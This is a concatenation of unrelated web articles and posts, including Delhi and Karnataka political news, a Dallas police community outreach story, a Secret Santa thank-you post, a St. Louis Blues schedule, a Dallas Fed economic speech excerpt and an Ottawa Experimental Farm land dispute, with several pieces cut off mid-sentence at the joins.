BJP MP Meenakshi Lekhi said, “There is already a Centre enforced ban on pulling down such structures since the BJP came to power at the Centre. The Kejriwal Government is just springing into meaningless action and putting up a pretence of accomplishment.”
“The AAP Government is not only selling old wine in new bottle, but is resorting to selling old wine in even older bottles. In their hurry to appear as keepers of poll promises, they are delving into the realm of eyewash politics,” Lekhi alleged.
She argued that in December 2014, the Centre had introduced the Delhi Laws (Special Provisions) Bill to protect those who would have been displaced had the unauthorised colonies been demolished. Meanwhile senior AAP leader Sanjay Singh said, “Lekhi must rejig her memory. Several slums were demolished during the BJP’s rule”.
Helping Hand
Kejriwal on Tuesday engaged with various departments and organisations in the Delhi administration and put on hold the termination of services of contractual employees until “further instructions were issued”.
The decision, which benefits doctors, nurses, teachers and sanitation staff, among others, was taken at a high-level meeting chaired by the CM. This move will give relief to around one lakh contractual employees in various departments and agencies of the Delhi government. “Services of contractual employees should not be terminated or stopped till further orders,” a government notice stated.Dallas Police Chief David Brown and about 100 of his officers boarded DART trains Friday morning to show riders that cops are just like them.
Brown chatted with two women about the hit TV show Empire. He took a selfie with a teenager who attends South Oak Cliff High School, Brown’s alma mater.
“How are your grades?” Brown asked the student, Carl Smith, 16.
“Pretty good,” Smith replied.
The goal: to forge and maintain a positive relationship with the community, both to improve crime-fighting efforts and help prevent tensions such as the unrest last year that followed a police officer’s shooting of an unarmed black man in Ferguson, Mo.
dpdondart1
The event, called “DARTing With the Chief on the Beat,” was the latest of Brown’s “Chief on the Beat” community engagement efforts. It started before 7 a.m. with officers — some dressed as superheroes — riding from six different light rail stations. One officer, Charles Vaughn, serenaded passengers with R&B songs that he sang through a handheld speaker.
Dallas Area Rapid Transit Police Chief James Spiller joined Brown riding from Ledbetter station to the West End.
The chiefs and the officers met at the West End station, where the cops posed for photos with people and handed out free coffee and doughnuts.
“It’s true,” one officer said. “We love doughnuts.”
In addition to the swarm of cameras following his every move, there was another quick reminder that Brown really isn’t like everyone else. As if to prove he was just another passenger, a DART fare enforcement officer approached at one point and asked to see everyone’s tickets — including Brown’s.
“You see, what had happened was...” Brown joked. “My dog ate it,” he later added. “I have to put it on layaway.”
For Brown, the moment of levity belied the serious purpose he sees in such events.
He said it’s important to build relationships during times when there is no crisis. That way, if an issue arises — like an officer-involved shooting — the community already trusts the police.
“People don’t like to feel like they don’t have a voice or that the police department isn’t listening,” Brown said. “We don’t ever want our community to feel like that.”
Brown said meeting with community members and building trust should not be considered optional for police departments. It’s crucial to the job, he said, to show people that the police care about them and are willing to listen to their concerns and questions.
“This is what 21st-century policing needs to look like,” Brown said.
Many passengers seemed pleased to see the uniformed riders and said they appreciated the department’s efforts.
“It’s good that the police are interested in what the citizens think and they’re interested in our communities and what we experience on a daily basis,” said Oak Cliff resident Betty Doyle.
Smith, the high school student from Highland Hills in Oak Cliff, said he enjoyed talking to Brown.
“I grew up in this area so I see crime every day,” he said. “I think it could be overcome.”
Tyron Wesley, 49, who rides the train every day to his job as a recruiter, shook Brown’s hand. Then he offered a guarantee.
“There won’t be no crime this morning,” Wesley said, looking around. “I feel very safe.”
dpdondart2My rematch santa is for sure the best. First of all she delivered with express so I get it rly fast :o (only 1 day, wow!). Also she mailed me so so cool zombie themed :D
But lets talk about the gifts I got :3
I got a Michonne & Darly Figure :D (my favo characters of TWD). In addition my rematch santa told me that there are still 2 other gifts coming :o
I dont know when they will arrive but when they do I will update this post.
But omg, thank you so much. Thank you soooooooo much, idk what to say now. Just thank you. I hope you also get so cool gifts!
Edit: 3rd gift arrived, secrent santa - you are so amazing :*
Edit 2: Last gift arrived _Thank you so much again rematch santa! Thank you for giving me all this awesome stuff. And ofc, I will continue killing zombies! :DWhen he was campaigning, Donald Trump promised a focus on law and order to an extent we haven’t seen in many a year. As it turns out, it wasn’t just an empty promise.
In his first few weeks in office, the new president has managed to put criminals on notice with a number of executive orders and major appointments that show just how seriously he takes the problem of crime in the United States. And nowhere was this more evident than in the Oval Office on Thursday.
The president not only signed a series of actions designed to make Americans safer, he swore in Attorney General Jeff Sessions, a man whose outlook marks a decided change on how the Department of Justice has been run for the past eight years.
According to U.S. News and World Report, Trump signed three orders in the Oval Office. One dealt with criminal cartels, with the president saying that he would order the Department of Justice and Department of Homeland Security “to undertake all necessary and lawful actions to break the back of the criminal cartels that have spread across our nation and (are) destroying the blood of our youth.”
“Today’s ceremony should be seen as a clear message to the gang members and drug dealers terrorizing innocent people,” Trump said in his remarks. “Your day is over. A new era of justice begins, and it begins right now.
The second would allow Attorney General Sessions to set up a task force to study violent crime. The third would direct “the Department of Justice to implement a plan to stop crime and crimes of violence against law enforcement officers.”
“It’s a shame what’s been happening to our great, truly great law enforcement officers,” President Trump said, in a marked contrast to his predecessor. “That’s going to stop as of today.”
It wasn’t the only time that Trump managed to take a stand for police officers this week, either. Speaking before the National Sheriffs’ Association on Wednesday, Trump said that “we all see what happens and what’s been happening to you. It’s not fair. We must protect those who protect us.”
In a news release, the White House laid out the reasons for the orders, noting that “(i)n 2016, murders in large cities increased by double digits” and that “(l)ast year in Chicago, more than 4,000 people were shot.”
Attorney General Sessions seems to be just the man to take care of this problem. Check out his remarks after being sworn in and see if you notice a difference from the kinds of things we heard from the Obama administration:
“We have a crime problem,” Sessions said. “I wish the blip — I wish the rise that we’re seeing in crime in America today were some sort of aberration or a blip. My best judgment, having been involved in criminal law enforcement for many years, is that this is a dangerous, permanent trend that places the health and safety of the American people at risk.” Those remarks caused a lot of consternation on the liberal side of the aisle, particularly from the media. However, it’s not the media who gave Trump the election. It’s the American people — and the safety of their communities is first and foremost in their priorities. Like us on Facebook – USA Liberty News Please like and share on Facebook and Twitter with your thoughts on Trump’s actions.
What are your thoughts on Trump’s actions? Scroll down to comment below!
Source: conservativetribune.com
H/T The Daily CallerWho was Lady Godiva?
The story of Lady Godiva's ride, naked, through the streets of Coventry has changed and grown over the 900 years or so of its existence - but who was the real person behind the legend?
Lady Godiva was married to Leofric, the 'grim' Earl of Mercer and Lord of Coventry, a man of great power and importance. The chronicler Florence of Worcester mentions Leofric and Godiva, but does not mention her famous ride, and there is no firm evidence connecting the rider with the historical Godiva.
In 1043 the Earl and Countess founded a Benedictine house for an abbot and 24 monks on the site of St Osburg's Nunnery, which had been destroyed by the Danes in 1016. The monastery was dedicated by Edsi, Archbishop of Canterbury, to God, the Virgin Mary, St Peter, St Osburg and All Saints.
During the dedication ceremony, Earl Leofric laid his founding charter upon the newly consecrated altar, which not only granted the foundation, but also gave him lordship over 24 villages for the maintenance of the house.
Lady Godiva endowed the monastery with many gifts in honour of the Virgin Mary. She is supposed to have had all her gold and silver melted down and made into crosses, images of saints and other decorations to grace her favoured house of God.
Leofric died in 1057 and was buried with great ceremony in one of the porches of the Abbey church. Lady Godiva survived her husband by ten years and is also said to have been buried in the church, although this has not yet been proven.
She rode through the silent streets unseen by the people...
On her deathbed, she gave a heavy gem-encrusted gold chain to the monastery, directing that it should be placed around the neck of the image of the Virgin. Those who came to pray, she said, should say a prayer for each stone in the chain.
The remains of the subsequent 13th-century church monastery, Coventry's first cathedral, can now be seen in Priory Row.not icon by icon. One reason progressive politics fares so poorly is because we spend too much time on individual campaigns and not enough on issues. While the former tend to drive away the independent, the skeptical and those who don't like a particular a candidate, the latter can attract all sorts to join with others who may agree only one issue.not by ideology. It's a lot easier to get a cross section of people backing a particular issue than it is for them to buy into your whole philosophy of life. Use the former approach on the streets and save the latter for the bar. You don't need common ideology if you have common causes.from the Ivy League and more from Iowa.don't get to even look at a glass ceiling. But many of them run into locked doors every day. Pay much more attention to the latter.Convert them with policies that actually help them. Do a good enough job and they'll forget about abortions and gay marriage.they are an undeveloped market., too. Just because a black politician talks about hope and change doesn't mean he's Martin Luther King. Especially if he's from Chicago.Nobody else does.Nobody else does.Nobody else does and everyone else would love itback to the top of the list. Since the 1980s, liberals have forgotten this basic part of their heritage, which brought us things like an end to the depression, Social Security, a minimum wage and Medicare. Besides, economic issues are ones that best cut across geographic, cultural and ethnic lines.Just about every successful great movement has moved along to the sound of its own music.You're only helping to build his base. Follow Samuel Goldwyn's advice and "don't even ignore him." The more he becomes the issue the less important real issues become.A progressive movement can't be built on the mirror image of Bill O'Reilly or with endless sarcastic comments about your opponents. It can be built by people understanding and becoming enthusiastic about the policies you support.One of the things many people don't like about traditional liberals is how federally oriented they are. This is due in no small part to an elite class that longs for jobs in Washington. Let them get these jobs on their own. Stop constantly designing stimulus packages for them with new federocentric legislation.All national legislation with state and local impact should meet the standards of what the Catholic Church used to call the principle of subsidiarity: government power should exercised at the lowest practical level. There lots of ways to do this in federal legislation. Here are a few:- Revenue sharing- Giving money instead of orders for public education and other programs.- Decentralizing government agencies like some of the best existing ones such at the National Park Service, Coast Guard and US Attorney - all highly decentralized and involved with local governments and communities.- Not making too many decisions at the federal level.- Supporting the 9th and 10th amendments that clearly limit the federal government's role but which traditional liberals routinely ignore.for three good reasons: it works, gun prohibition laws don't and you'll make all sorts of new friends. If you really want to change American politics, start a group called Gays for Guns.Support instant runoff voting, public campaign financing, more states, a larger House of Representatives with mixed proportional and district representation like Germany, state banks, and a constitutional amendment to end corporations' legal status as "persons."and good jobs for regulators. New laws often favor the latter which is why we keep adding regulators but can't bring the Glass-Steagall Act back.and your offspring may be crooks. Stop selling out so cheaply.It sure helped progressive populists in the past.Everyone talks about having a black president, but hardly anyone does anything about the huge number of young black and white males to whom we offer two main futures: incarceration or pain if not death on the battlefield. It is similar with the poor in general. They have not only been deserted by conservatives and centrists but by liberals as well.A great recession is a wonderful time to get rid America's most unsuccessful and expensive policy this side of foreign wars. It will save money, reduce the police state, limit prosecutorial discrimination against the poor, lower the crime rate and attract a lot of young voters who didn't even known they were progressives.When your movement is pretty much down to Bernie Sanders and Dennis Kucinich at the national level, you know there's plenty of room for you. Most great movements have been led by those most hadn't even heard of a few years earlier. You could be one of them.One of the most useful techniques in organizing is to support the work of others. A mass movement is built by groups alternately leading and following each other. And one of the best ways to get respect is to give it.One of the great failures of liberalism has been its great disinterest in local power. The closer government is to the people the more they like it and the more responsive it tends to be. Besides, if you can't be an effective progressive in the 'hood, then you'll be a pretty lousy one in Washington.It worked for some 200 years until we decided to turn them into human drone development and detention centers where the young are taught to pass tests rather than to learn things.Try to do the most for the most. If your politics clearly help the most, then they won't mind so much when you also help smaller groups within our society. But if you help minorities while ignoring the majority you're in trouble. Remember, everyone wants to be in show business.turf protectors, budget bullies, ambitious lawyers and CYA bureaucrats kill good ideas. Given the state of contemporary political culture, it would be unlikely that Social Security, Medicare or a minimum wage could be passed today. That's not so much a reflection of our politics as it is of our culture. We have mainly learned how to say no. Progressives need to reintroduce the concept of yes.Our goal is not to overthrow the system but to make it irrelevant.has involved repeated conflict between the specifics of the soul and institutional abstractions -- between people and places on the one hand and, on the other, a succession of systems desiring to exploit, subjugate or supplant them. We need to oppose not only the bad systems of the moment but unnatural systems in general - all those that revoke, replace or restrain the natural rights of human beings and the natural assets of their habitats.is to act free. The number of liberals and progressives that follow this rule is sadly small. Everyone these days seems to prefer to talk about balancing rights instead of exercising them. But the rights outlined in the Constitution weren't bargaining chips; they were permanent guarantees.Progressives leave the right's phony theological arguments largely unchallenged, but even an atheist can point out that the Ten Commandments doesn't say anything about abortion or gay marriage but sure as hell is down on adultery, stealing (even on Wall Street), bearing false witness (even in political ads) and coveting anything that belongs to your neighbor (even in the name of capitalism). The Bible also doesn't like usury and strongly suggests that the earth is the lord's and not the property of multinational corporations. The ultimate irony of right wingers is that that they are comprised in no small part of despoilers, usurers, war-mongers, hypocrites, idolaters and groupies of false prophets - all of whom are frowned upon by the book it pretends to follow. And its opponents, who are more faithful to the words that the conservatives only quote, are often such good Christians that they never say a mumblin' word about it all.is to make sure that every organization, church, school, or club is run according to its principles.There are still a lot of nice liberals around with whom to make common cause, but the word itself carries too much baggage. Progressives are activists; liberals are a demographic. Progressives emphasize economic change; liberals in recent years have largely ignored it. Progressives convert their opponents; liberals rant about them. Progressives are grassroots; liberals are federocentric.No, we don't all agree on how things should be done, but we can all understand that we can't have our liberty unless others do as well. Both right and left spend far too much time trying to stop others from doing things their way. The trick is how as many as possible can do things their way as long as it doesn't hurt others.It's a word that isn't heard much any more but could ease a lot of our pain. Tolerance is often a necessary waypoint for people on the way to accepting new ideas. It's the trial period before full acceptance.Part of the misery of today's America is that there are too many people unhappy with the system who have live their misery alone. Part of the beauty of the 1960s was in varied alternative communities. Put down your Ipod and join with others who agree with you.Issues like climate change are complicated for many and hard to grasp, especially since our schools have devoted more time to teaching driving and creating drug free zones than they have to science. Help people understand issues and don't blame them for not.- Part of the illusion of mass media is that change can be organized like a TV series. Try it and typically one of two things happen: it fails or it becomes just more political mush. Too many web-based liberal organizations are simply more lobbying groups. They don't change politics, souls, or history. Despite TV and the Internet, change still comes from the bottom. Build from up there.Those with tightly defined ideas about how we should behave often make little distinction between people who merely accept the values of their culture and those who market and manipulate them. It helps to remember that we are all creatures of our cultures and often speak in their voice. This may not be an admirable characteristic but it certainly is a human one. After all, if it weren't for Rush, dittoheads would have nothing to ditto.Two questions help understand the futility:- Do capitalists ever ride the public subway?- Who will run the restaurants in the Marxist utopia?Mix and match based on the reality of the situation and not on somebody's theory. And learn about co-ops, credit unions and community banks.If you don't like the way the right does it, come up with your own description, stories and role models.Most Americans don't talk about stimuli, transparency or infrastructure. But you'd never know it listening to typical Democratic politicians. Avoid the language of the corporate executive, pompous academic, hustling preacher, or boring lawyer.If you don't enjoy your cause, how can you expect others to?Blues fans can currently purchase 2017-18 season tickets and partial plan packages, securing the best locations for the best price with a variety of benefits including playoff ticket purchasing priority, by calling 314-622-BLUE or by visiting stlouisblues.com/tickets. The on-sale date for single-game tickets will be announced at a later date.
Just days after that, the Blues return home on Saturday, Oct. 7 to host former head coach Ken Hitchcock and the Dallas Stars for the regular season home opener at Scottrade Center, which will be newly-renovated with a bigger and better scoreboard, lighting, sound systems and more!
ST. LOUIS - The St. Louis Blues will open the 2017-18 regular season schedule on Wednesday, Oct. 4 when they visit the defending Stanley Cup Champion Pittsburgh Penguins at 7 p.m. at PPG Paints Arena.
Overall, the Blues' schedule features 15 weekend home games at Scottrade Center (Friday, Saturday or Sunday) and marquee games against Central Division rivals such as Chicago, Nashville, Minnesota, Dallas, Winnipeg and Colorado.
The Blues will battle the Blackhawks four times in 2017-18, including twice at Scottrade Center - Wednesday, Oct. 18 and in the final regular season home game on Wednesday, April 4.
Other notable matchups in the 82-game schedule include the club's first trip to Las Vegas to face the expansion Vegas Golden Knights on Saturday, Oct. 21. Vegas makes its inaugural visit to Scottrade Center on Thursday, Jan. 4. The Blues will also face the Nashville Predators in a rematch of the Western Conference semifinals on Friday, Nov. 24 at Scottrade Center as a part of five-game homestand (and three home games surrounding the Thanksgiving holiday).
The Penguins will make their lone trip to Scottrade Center on Sunday, Feb. 11, while the Blues will finish the regular season schedule in Colorado on Saturday, April 7.
OCTOBER
Oct. 4 at Pittsburgh - 7 p.m.
Oct. 7 vs. Dallas - 7 p.m.
Oct. 9 at NY Islanders - Noon
Oct. 10 at NY Rangers - 6 p.m.
Oct. 12 at Florida - 6:30 p.m.
Oct. 14 at Tampa Bay - 6 p.m.
Oct. 18 vs. Chicago - 7 p.m.
Oct. 19 at Colorado - 8 p.m.
Oct. 21 at Vegas - 9:30 p.m.
Oct. 25 vs. Calgary - 7 p.m.
Oct. 27 at Carolina - 6:30 p.m.
Oct. 28 vs. Columbus - 7 p.m.
Oct. 30 vs. Los Angeles - 7 p.m.
NOVEMBER
Nov. 2 vs. Philadelphia - 7 p.m.
Nov. 4 vs. Toronto - 6 p.m.
Nov. 7 at New Jersey - 6 p.m.
Nov. 9 vs. Arizona - 7 p.m.
Nov. 11 vs. NY Islanders - 7 p.m.
Nov. 13 at Calgary - 8 p.m.
Nov. 16 at Edmonton - 8 p.m.
Nov. 18 at Vancouver - 9 p.m.
Nov. 21 vs. Edmonton - 7 p.m.
Nov. 24 vs. Nashville - 7 p.m.
Nov. 25 vs. Minnesota - 7 p.m.
Nov. 29 vs. Anaheim - 8 p.m.
DECEMBER
Dec. 1 vs. Los Angeles - 7 p.m.
Dec. 2 at Minnesota - 5 p.m.
Dec. 5 at Montreal - 6:30 p.m.
Dec. 7 vs. Dallas - 7 p.m.
Dec. 9 at Detroit - 6 p.m.
Dec. 10 vs. Buffalo - 6 p.m.
Dec. 12 vs. Tampa |
discussion in the industry about potential limits in storage capacity.
We estimate that the market will not find some degree of daily production/consumption balance until mid-2017 and, at that point, excess inventories will begin to decline. This forecast has been influenced over the past several months by the official return of Iran to the world oil markets, increased supply from OPEC nations, slower-than-expected supply declines from U.S. producers despite substantial cuts in drilling and capital spending, and slower-than-expected demand from emerging-market countries. This outlook would be meaningfully impacted by a change in OPEC production strategy.
Given these various factors, the ultimate timing of market production/consumption balance remains uncertain. In the meantime, we expect to see continued low prices and high levels of price volatility, as well as more bankruptcies, mergers and restructurings in the energy industry.
One by-product of lower oil prices is wider credit spreads in the high-yield market. Because corporate energy issuers comprise a material portion of high-yield issuance, and because high-yield debt is heavily held in mutual-fund (with daily liquidity obligations) and exchange-traded fund form, weakness in the energy sector has the potential to create increased levels of fund redemptions. This, in turn, can put pressure on funds to sell holdings more broadly in order to meet liquidity needs. This is a good example of the potential negative ripple effects that can come from persistent weakness in the energy sector.
Broad Economic Conditions in the Eleventh District
As has been the case for the past year, the Eleventh District is being adversely affected by low oil prices as well as the strength of the dollar. As a result of these challenges, Texas job growth slowed from 3.6 percent in 2014 to 1.5 percent in 2015, and Dallas Fed economists expect only about 1 percent growth in 2016.[6] Risks to this forecast are to the downside if oil stays at or below $30 per barrel for an extended period.
While the nation’s unemployment rate has declined since the beginning of 2015, the Texas unemployment rate increased from 4.4 percent at the beginning of the year to 4.6 percent at year-end.[7] We expect the state unemployment rate to rise further in 2016 even as the national unemployment rate continues to fall.
In 2015, the Texas energy and manufacturing sectors lost jobs while the state’s service sector showed steady, moderate growth.[8] This recent economic performance has been bolstered by the diversified nature of the Texas economy. While Houston’s growth has been brought to a halt by the energy downturn, Austin, Dallas and San Antonio have shown strong growth and continue to attract people and firms from around the country and the world.
The energy industry accounted for approximately 2 percent of Texas employment[9] and approximately 10 percent of gross domestic product (GDP) in 2015,[10] a good deal lower than in the 1980s, when that oil bust pushed the Texas economy into a major recession. While the downturn in the energy industry has created negative ripple effects in the state, the Texas economy has proven to be highly resilient. I expect this resiliency and underlying strength to continue as the negative impacts of energy begin to dissipate in the years ahead.
Economic Conditions in the Nation
Gross Domestic Product and Unemployment
The Commerce Department estimates that the U.S. economy grew 1.9 percent in 2015, and our economists expect a similar rate of growth in 2016.[11] This rate of GDP growth, while sluggish by historical standards, was sufficient to drive down the U.S. unemployment rate from 5.6 percent at the start of the year to approximately 5 percent by year-end, and to 4.9 percent in January.[12]
The service sector continues to be the primary driver of growth in the U.S. economy. In contrast, the manufacturing sector continues to struggle as a result of a strong dollar and continued weakness outside the U.S.
Our economists expect the unemployment rate to continue to decline in 2016, but at a slower pace. In addition to looking at the headline rate, we also track other measures that gauge the degree of slack in the labor market. In particular, we closely monitor the labor force participation rate, which is the share of the population that is either employed or actively looking for work. This share is currently 62.7 percent, which is approximately 3.5 percentage points below its prerecession level.[13] Our Dallas Fed economists believe that over one-half of this decline is explained by aging-workforce demographics. We are also tracking measures of “discouraged” workers, who have given up looking for work, as well as estimates of the number of part-time workers who might convert to full time in a stronger job market.
My own view is that overcapacity in non-U.S. economies must be considered along with domestic labor slack in assessing the implications of a given U.S. unemployment rate. In an increasingly globalized world, U.S. companies assess their employment decisions in a global context. As a result, I believe that the headline rate which constitutes “full employment” will likely be lower than the level to which we have historically been accustomed.
Inflation
Headline inflation readings continue to run below the 2 percent long-run objective set by the FOMC. A stronger dollar and lower oil prices are two key factors that are negatively impacting the rate of inflation.
At the Dallas Fed, we attempt to look past more transitory factors by focusing on the Trimmed Mean PCE (personal consumption expenditures) inflation rate, which excludes those items with the most extreme upward and downward monthly price movements. Since early 2014, the 12-month change in the trimmed mean ran between 1.6 and 1.7 percent. In January 2016, the 12-month rate ticked up to approximately 1.9 percent. The stability and trend of this measure are important to track as we consider inflation prospects over the medium term.
I will be closely watching these measures as well as the impact of anticipated further reductions in labor market slack in assessing the Fed’s progress toward meeting its 2 percent objective. I will also be monitoring the impact of key secular trends discussed later in this speech.
World Economic Conditions
Assessments of economic conditions outside the U.S. are critical because the world is becoming more and more interconnected. As a consequence, slowing growth in China and other emerging markets increasingly impacts the U.S. economy.
Our economists at the Dallas Fed have lowered their expectations for growth outside the U.S. In 2016, we expect global growth, excluding the U.S., to be approximately 2.7 percent. This includes negative growth in commodity-exposed countries such as Brazil, Russia and Venezuela as well as 7.4 percent GDP growth in India.[14] This estimate of the non-U.S. growth rate comes with a high level of downside risk.
One particular concern is China, which is trying to manage high levels of industrial overcapacity, high levels of leverage, aging demographics, and decreasing levels of reserves (which they have used to manage their currency devaluations). China is also working to manage a longer-term transition from a manufacturing and export-driven economy to one that is more consumer and service-sector based.
The International Monetary Fund forecasts that China’s growth rate will slow to approximately 6.3 percent in 2016 from 6.9 percent in 2015. Whatever the actual number, it seems clear that the world will have to adjust to lower rates of Chinese growth in the years ahead. China’s economic challenges have the potential to create negative spillovers that impact economic conditions in the U.S. as well as other economies.
Monetary Policy
As a businessperson, I am regularly reminded that it is important to be open to learning from and adapting to changing circumstances. It is important to avoid being rigid, closed minded, or ideological in my thinking. Asking the right questions is more important than having all the answers. With that preamble, let me discuss my views regarding monetary policy.
From January 1 through March 1 this year, the Standard & Poor’s 500 Index of stocks declined approximately 3.2 percent.[15] Global stock markets (excluding the U.S.) declined approximately 6 percent.[16] The 10-year Treasury rate declined from 2.27 percent to 1.82 percent.[17] The price of oil declined from $37.13 per barrel to $34.39.[18] The U.S. dollar exchange rate versus the yen moved from 120.38 yen/dollar to 113.17.[19] In that period, China devalued its currency. Investment-grade and high-yield credit spreads widened.
Suffice it to say that global financial conditions have tightened. This tightening is likely to have had a restraining impact on the underlying pace of economic activity akin to some level of increase in the fed funds rate.
One obvious question is the extent to which a decline in the S&P is reflective of meaningfully weaker economic conditions in the U.S. In assessing this question, it is worth noting that the S&P is not the same as the U.S. economy. In particular, S&P 500 firms derive about 38 percent of their revenue[20] and as much as 50 percent[21] of their earnings from outside the U.S., while only about 11 percent of U.S. GDP is derived from exports.[22] The S&P decline may suggest weaker expectations among market participants for corporate earnings due to slowing global growth and wider credit spreads as well as a stronger dollar. It may also reflect some level of normal and healthy market revaluation.
On the positive side, lower oil prices and a stronger dollar should benefit the U.S. consumer. Due to a strong consumer, my own expectation is that the U.S. economy will likely be resilient in 2016. Having said that, I believe that recent developments call for patience and further diligence in assessing the impacts of slowing global growth and tighter financial conditions on the U.S. economy.
In addition, I am also closely monitoring the impact of key secular trends relating to high levels of debt and aging demographics in the United States and other major economies, including Europe, Japan and China. These secular factors could create downward pressure on potential growth rates and, all things being equal, tend to lower the so-called “neutral” rate, the interest rate at which the Fed is neither restrictive nor accommodative.
While I believe that excessive accommodation carries a cost in terms of distortions and imbalances in hiring, asset allocation and investment decisions, I also believe that, at this juncture, the Fed needs to show patience in decisions to remove accommodation. Again, this is particularly true in light of key global secular trends as well as recent developments relating to slowing global economic growth and tightening financial conditions.
I believe that the Fed should avoid having a predetermined mindset regarding the path of policy. This path should be driven by our ongoing analyses of cyclical as well as secular trends.
I think it makes sense to emphasize that, at this juncture, monetary policy remains accommodative; although I would note again that policy is somewhat less accommodative than it was on January 1 in light of tightening global financial conditions.
Lastly, I would emphasize that monetary policy should serve as an element of overall economic policy. It is not designed to act in isolation or as a substitute for fiscal policy or structural reforms. There are limits to the potential impacts of monetary policy.
The broad domestic secular challenges of an aging population, access to education and health care, underinvestment in infrastructure, high levels of debt to GDP, and projected stresses on our ability to meet future obligations for retirement and medical benefits are all examples of issues that may affect the long-run path of sustainable economic growth. While monetary policy has a critical role to play in promoting good economic performance and price stability, it has limitations in being able to address these longer-run issues.
Now, I would be very happy to take your questions.
Notes
The views expressed by the author do not necessarily reflect official positions of the Federal Reserve System.“Irreplaceable” experiments that contributed to the Nobel Peace Prize in 2007 would be lost with the construction of The Ottawa Hospital’s new Civic Campus on part of the Central Experimental Farm, raising alarm among scientists around the world.
“This would be an incredibly unfortunate time to lose such an international treasure,” wrote Pete Smith, professor of soils and global change at Scotland’s University of Aberdeen, in a letter to federal Agriculture Minister Gerry Ritz earlier this year. “History would judge this a very short-sighted decision.”
Former federal cabinet minister John Baird and hospital officials made the surprise announcement last fall that 24 hectares of the farm would be transferred to the National Capital Commission and then leased to The Ottawa Hospital for a new Civic location. Although officials noted the land in question makes up just six per cent of the Experimental Farm, opponents say it represents more than 10 per cent of total usable crop research area on the farm and includes fields that have been in continuous use for experimentation since 1886.
The land deal has been approved by cabinet, although a complex transfer deal between Agriculture Canada and the National Capital Commission — which will then lease it to the hospital for a nominal amount — is still being ironed out. An advisory committee to Agriculture Canada and groups including Friends of the Farm say they were not consulted ahead of time and have been told the land transfer is a “done deal.”
There is still no approved funding for a new hospital — with an expected price tag of $2.5 billion or more — and it could be years before it is built.
Clarke Topp, one of the scientists who spent a career working on long-term experiments in the farm’s Field No. 1, the proposed site of the new hospital, is among those raising alarm bells about the plan. Topp argues the deal would mean the end of long-term soil experiments. The internationally recognized scientist, who is now retired, says he cannot watch decades of important scientific study get washed down the drain without speaking out.
Topp said he has heard from current government scientists who back his efforts to draw attention to the loss of the research to make room for a hospital.
“They can’t speak up, but they were pleased that I decided to become the usual s**t disturber that I was in my career. A number called me and thanked me.”
Some of the experiments on Field No. 1, bordered by Carling Avenue in the north, Fisher Avenue in the west, Ash Lane in the east and close to the Scenic Driveway in the south, have been underway for decades. A key one involves studying the effects of low-tilling and no tilling on carbon in soils, something that contributed to the Intergovernmental Panel on Climate Change, which won the Nobel Peace Prize in 2007, making Agriculture Canada scientists among joint recipients of the prize.
Topp, who continued to work on his experiments without pay for several years after retiring, said his work involved measuring the impact of low tilling or no tilling methods on carbon, water and other aspects of the soil as a means of improving its quality, something that is crucial to feed a growing population. Carbon, which is vital to feed plants, is depleted when the soil is repeatedly tilled.
Smith, of the University of Aberdeen, said the land “houses irreplaceable experimental plots which are of international significance, and those will be lost.”
He goes on to write that while he understands “the need for local hospital services, the choice of site is extremely unfortunate” and that the soil experiments “help us to understand carbon dynamics in soils and provide information to inform governmental policies in the context of global carbon balances and environmental change.”
The year 2015, Smith noted, has been designated the International Year of Soils by the United Nations.
Ten months after the announcement about the land transfer, there has been virtually no public information about plans to build the new hospital to replace the aging Civic campus. Public consultations on the design will begin after the land transfer between Agriculture Canada and the NCC is complete, which an NCC spokesperson said will occur after the election.
Still, there is growing concern within the scientific community and elsewhere that construction of the new hospital on that part of the farm will come at too high a price.
In addition to Smith’s letter to the agriculture minister, a number of international scientists also wrote in June to Jamie McCracken, chair of the board of governors of The Ottawa Hospital. The letter calls on the hospital and federal government to look at other options, noting that the Central Experimental Farm is a national historic site and a “significant cultural landscape” that belongs to all Canadians. Groups including Heritage Ottawa, National Trust for Canada and others are opposed to the plan.
David Burton, an agriculture professor from Dalhousie University who is president of the Canadian Society of Soil Science, said the transfer of farm land to the hospital “will result in the loss of scientifically significant agricultural field experiments, which have been conducted on that parcel of land since the late 1880s.
“There are very few places in the world where agricultural experiments have been running so long and the data generated from those experiments have helped make Canadian agriculture profitable and secured the livelihoods of Canadian farmers, while also contributing to international scientific knowledge and practice.”
Topp said Canada has been in the forefront of research on soil in the past and should be now. “I have an international reputation for the research that I did, and we can do that again.”
Kitchissippi Ward Coun. Jeff Lieper said he knows many people who live near the current hospital will be glad to see a new one being built which, among other things, might reduce traffic and parking tensions in the neighbourhood. But he said he has also spoken to people in the community who are concerned about the hospital “taking over some of that scientific soil.”
Mark Kristmanson, chief executive of the NCC, was asked by David Jeanes of Heritage Ottawa about the project at the NCC’s open house in June.
The alternatives to the site for a new hospital “are not fantastic” said Kristmanson.
“When you think of the densification coming in this city, when you think of the growing health needs of this city and you think of the actual condition of the Civic hospital … it’s hard to imagine that it would be preferable to locate this hospital much further out … As much as we are seized with the loss of a portion of this very important heritage cultural landscape and heritage site, the social benefit is hard to argue against.”
epayne@ottawacitizen.comCongress vice president Rahul Gandhi inaugurated Indira canteen in Bengaluru
Highlights Rahul Gandhi today inaugurated 'Indira canteens', ate meal at one In slip of tongue, he revealed where blueprint came from - 'Amma' canteen First, state government is launching 101 Indira canteens; plan to expand
Congress Vice President Rahul Gandhi today inaugurated "Indira canteens," which will provide food at a subsidised cost to the poor in Karnataka capital, Bengaluru. His party, which rules the state, has borrowed the idea from neighbouring Tamil Nadu ahead of assembly elections due in less than a year.
In a slip of the tongue, the Congress leader revealed where the blueprint came from. "In a matter of a few months, the poor people across most cities in Karnataka will be able to eat in these Amma...er...Indira canteens," said Rahul Gandhi, who also ate a meal of Wangi Bath or rice with brinjal at the canteen in Jayanagar in south Bengaluru.
To begin with, the state government is launching 101 Indira canteens, named after former Prime Minister Indira Gandhi, Mr Gandhi's grandmother. A vegetarian breakfast or tiffin, will cost Rs 5 at the Indira canteen, while lunch and dinner will cost Rs 10 each.
"Millions of poor people in Bengaluru go hungry, they can now eat at these Indira canteens. I am happy that it is under the Congress government that the poor people are getting such facilities," Mr Gandhi said, pointing out that "the cleanliness in these canteens is as good as the most expensive five-star restaurants in Bengaluru."
Karnataka Chief Minister Siddaramaiah said in Independence Day speech yesterday that the aim is to make Karnataka hunger-free. "I am happy to announce that we are opening on Wednesday, Indira canteens across Bengaluru to feed every day the people from the labour class and poor migrants to the city," he said.
The opposition however did not find the timing of the launch in good taste.
